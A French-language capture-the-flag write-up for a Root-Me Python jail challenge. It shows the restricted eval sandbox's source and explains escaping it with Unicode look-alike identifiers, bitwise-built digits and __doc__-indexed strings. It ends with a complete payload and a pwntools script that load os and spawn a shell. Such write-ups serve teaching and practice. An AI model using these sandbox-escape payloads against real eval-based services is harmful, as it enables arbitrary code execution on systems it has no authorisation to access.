MisTrale Write UpMisTrale Write Up
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
    • ๐Ÿ Introduction
    • ๐ŸŒŸ Remerciements
  • ๐Ÿ’€ Root-Me 20k

    • ๐Ÿ’€ Root Me - 20k
    • โค๏ธ Bash - Love Me
    • ๐Ÿ›‘ Python - Not This Way
    • ๐Ÿ“š NodeJs - Never Trust Node One
  • โ›“๏ธ JailCTF-2024

    • ๐Ÿ‘ฎ JailCTF - 2024
    • ๐Ÿ”  !Alphabeat
    • ๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
    • ๐ŸŽ‰ Parity 1
    • ๐ŸŽˆ Parity 2
    • ๐Ÿช„ Pickle Magic
    • โ˜Ž๏ธ Get and Call
    • โ‰๏ธ No Sense
    • ๐ŸŸฉ Filter'd
    • ๐Ÿง SUS Calculator
  • ๐Ÿ•น๏ธ TCP1P

    • ๐ŸŽฎ Another Discord
  • ๐Ÿงฎ GCC-2024

    • ๐Ÿ˜… soBusy
  • ๐ŸŒ› Midnight

    • ๐ŸŒƒ Midnight
    • โœจ Privesc - 1
    • ๐Ÿ”‘ Privesc - 2
    • ๐Ÿ‘‘ Privesc - 3
    • ๐ŸŽญ My Face

๐Ÿ›‘ Python - Not This Way

๐Ÿ‘€ Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

๐Ÿ“– ร‰noncรฉ du challenge

#!/usr/bin/env python3
 
def __welcome__():
    return print("MisTrale: Hello ! How can I help you ?")

def __check_code__(code):
    restrictedChars = [
                        "C", "F", "I", "T", "S",
                        "U", "N", "O", "B", "D", 
                        "G", "H", "J", "K", "M",
                        "L", "R", "E", "Q", "A", 
        
                        "c", "f", "i", "t", "s",
                        "u", "n", "o", "b", "d",
                        "g", "h", "j", "k", "m",
                        "l", "r", "e", "q", "a",

                        "x", "+", "-", "*", "/", 
                        "%", "'", '"', ":", ";",
                        "{", "}", "__", "@", "`",
                      ]
    restrictedChars += [chr(i) for i in range(48, 58)]  # Sorry, Don't hate me :(

    for char in restrictedChars:
        if char in code:
            raise Exception(f"Restricted character {char} found in code ! Try harder ;)")

BUILTINS = {
    "__welcome__": __welcome__,
    "__import__": lambda *a, **kw: __welcome__(),
    "p": print,
}

def sandbox(code):
    __check_code__(code)
    eval(code, {"__builtins__": BUILTINS}, {})

code = ""
while True:
    line = input(">>> ")
    code += " \n" + line
    while line:
        line = input("")
        code += " \n" + line
    try:
        sandbox(code)
    except Exception as e:
        print(e)
    code = ""

๐Ÿšฉ Avoir le flag

Pour avoir ensuite accรจs ร  un scope global nous devons effectuer une injection comme รงa vu que nous avons des BUILTINS restreints.

>>> ().__class__.__base__.__subclasses__()[121]()._module.__builtins__

Pour รฉviter cette restriction:

restrictedChars = [
    "C", "F", "I", "T", "S",
    "U", "N", "O", "B", "D", 
    "G", "H", "J", "K", "M",
    "L", "R", "E", "Q", "A", 
        
    "c", "f", "i", "t", "s",
    "u", "n", "o", "b", "d",
    "g", "h", "j", "k", "m",
    "l", "r", "e", "q", "a",

    "x", "+", "-", "*", "/", 
    "%", "'", '"', ":", ";",
    "{", "}", "__", "@", "`",
]
restrictedChars += [chr(i) for i in range(48, 58)]

๐Ÿ”ก Comment faire notre alphabet ?

Il nous faut dรฉjร  savoir comment obtenir __class__ et __base__ sans utiliser les caractรจres bannis, pour cela on peut utiliser la mรฉthode suivante:

()._๏ผฟ๐‘l๐’ถ๐˜ด๐˜ด๏ผฟ_._๏ผฟb๐’ถ๐˜ดe๏ผฟ_._๏ผฟ๐˜ด๐˜ถb๐‘l๐’ถ๐˜ด๐˜ดe๐˜ด๏ผฟ_()

En fait nous n'utilisons pas les caractรจres ASCII normaux mais des caractรจres Unicode qui sont รฉquivalent. Pour obtenir ces caractรจres on peut utiliser le site suivant: https://en.wikipedia.org/wiki/Mathematical_Alphanumeric_Symbols et l'interprรฉteur Python n'y verra que du feu.

Et pour bypass les '__' on peut utiliser le caractรจre ๏ผฟ qui est รฉquivalent ร  _ en Unicode. Et si on combine les deux on obtient __class__ en Unicode ()._๏ผฟ๐‘l๐’ถ๐˜ด๐˜ด๏ผฟ_.

๐Ÿ”ข Comment faire nos chiffres ?

En fait, en Python, il n'y a pas que les opรฉrateurs:

  • + pour additionner
  • - pour soustraire
  • * pour multiplier
  • / pour diviser
  • % pour modulo

Nous pouvons aussi utiliser les opรฉrateurs:

  • << pour dรฉcaler ร  gauche
  • >> pour dรฉcaler ร  droite
  • & pour faire un ET
  • | pour faire un OU
  • ^ pour faire un XOR
  • ~ pour faire un NOT

Et en fait, on peut utiliser ces opรฉrateurs pour obtenir des chiffres. Par exemple, pour obtenir le chiffre 1 on peut faire () == () qui est รฉquivalent ร  True == True qui est 1. Pour obtenir le chiffre 2, on peut faire (() == ()) << (() == ()) qui est รฉquivalent ร  1 << 1 qui est 2. Et ainsi de suite jusqu'ร  9.

>>> print((()==())>>(()==())) # (1 >> 1) == 0
0
>>> print((()==())>>(()!=())) # 1: True == 1
1
>>> print((()==())<<(()==())) # 1 << 1 == 2
2
>>> print(((()==())<<(()==()))|(()==())) # (1 << 1) | 1 == (2 | 1) == 3
3
>>> print((()==())<<(()==())<<(()==())) # 1 << 1 << 1 == 4
4
>>> print(((()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1) | 1 == (4 | 1) == 5
5
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))) # (1 << 1 << 1) | (1 << 1) == (4 | 2) == 6
6
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())) # (1 << 1 << 1) | (1 << 1) | 1 = (4 | 2 | 1) == 7
7
>>> print((()==())<<(()==())<<(()==())<<(()==()))  # 1 << 1 << 1 << 1 == 8
8
>>> print(((()==())<<(()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1 << 1) | 1 = (8 | 1) == 9
9

๐Ÿฅท Donc, รงa veut dire qu'on peut tout faire ?!

Vu qu'on peut accรฉder ร  des objets et crรฉer des chiffres, on peut vraiment recrรฉer tout l'alphabet, car en Python, tous les objets ont une classe doc qui est un string. Exemple:

().__subclasshook__.__doc__[98] # 'M'
().__class__.__doc__[2] # 'i'
().__add__.__doc__[7] # 's'
().__init_subclass__.__doc__[0] # 'T'
().__add__.__doc__[4] # 'r'
().__add__.__doc__[13] # 'a'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[1] # 'e'
().__class_getitem__.__doc__[4] # 'P'
().__doc__.__doc__[84] # 'w'
().__add__.__doc__[5] # 'n'
().__add__.__doc__[17] # '.'
().__subclasshook__.__doc__[147] # 'F'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[13] # 'a'
().__class__.__doc__[38] # 'g'

Donc avec notre bitshifting et notre __doc__ on peut tout faire. On peut mรชme faire des imports, mais je ne vais pas vous spoiler la suite.

>>> ().__subclasshook__.__doc__[((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==())))|((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|(()==())))|((((()==())>>(()!=())))<<((((()==())>>(()!=()))))))].__add__(().__class__.__doc__[(()==())<<(()==())]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())]).__add__(().__init_subclass__.__doc__[(()==())>>(()==())]).__add__(().__add__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(()==())>>(()!=())]).__add__(().__class_getitem__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__doc__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))))|((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|((()==())>>(()!=()))<<((()==())<<(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__subclasshook__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()!=())))|(((()==())>>(()!=()))<<(()==())>>(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__class__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|(()==())))|((()==())>>(()!=()))<<((()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()!=()))))])
'MisTralePwn.Flag'

๐Ÿ” Comment faire un import ?

Nous pouvons donc faire un import de notre module os et ensuite faire un system de notre /bin/bash

>>> p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•()).๐–˜๐–ž๐–˜๐–™๐–Š๐–’(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š._๏ผฟ๐–“๐–†๐–’๐–Š_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•())
ls
Dockerfile        main.py   flag.txt
cat flag.txt
RM{Python_1S_R34lly_Ev1l_N3v3r_Use_1t_1F_D0nt_Kn0W_4LL_H1s_S3cr3t5}

๐Ÿ“œ Script

from pwn import *

context.log_level='critical'

payload = f"""
p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•()).๐–˜๐–ž๐–˜๐–™๐–Š๐–’(p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–‘๐–”๐–†๐–‰๐–Š๐–—_๏ผฟ.๐–‘๐–”๐–†๐–‰_๐–’๐–”๐–‰๐–š๐–‘๐–Š._๏ผฟ๐–“๐–†๐–’๐–Š_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐”ง๐”ฌ๐”ฆ๐”ซ([p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐–˜๐–Š๐–‘๐–‹_๏ผฟ._๏ผฟ๐–˜๐–™๐–—_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐–˜๐–™๐–—๐–Ž๐–•())""".strip().replace('\n','')

io = process(['python3', 'main.py'])
io.sendline(payload.encode())
io.sendline(b'')

io.interactive()

๐Ÿ“š Documentations

  • Python - Payloads
  • Python - Unicode
  • Python - Bitwise Operators
  • Python - doc

๐Ÿ’– Support

๐Ÿ‘€ Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
โค๏ธ Bash - Love Me
Next
๐Ÿ“š NodeJs - Never Trust Node One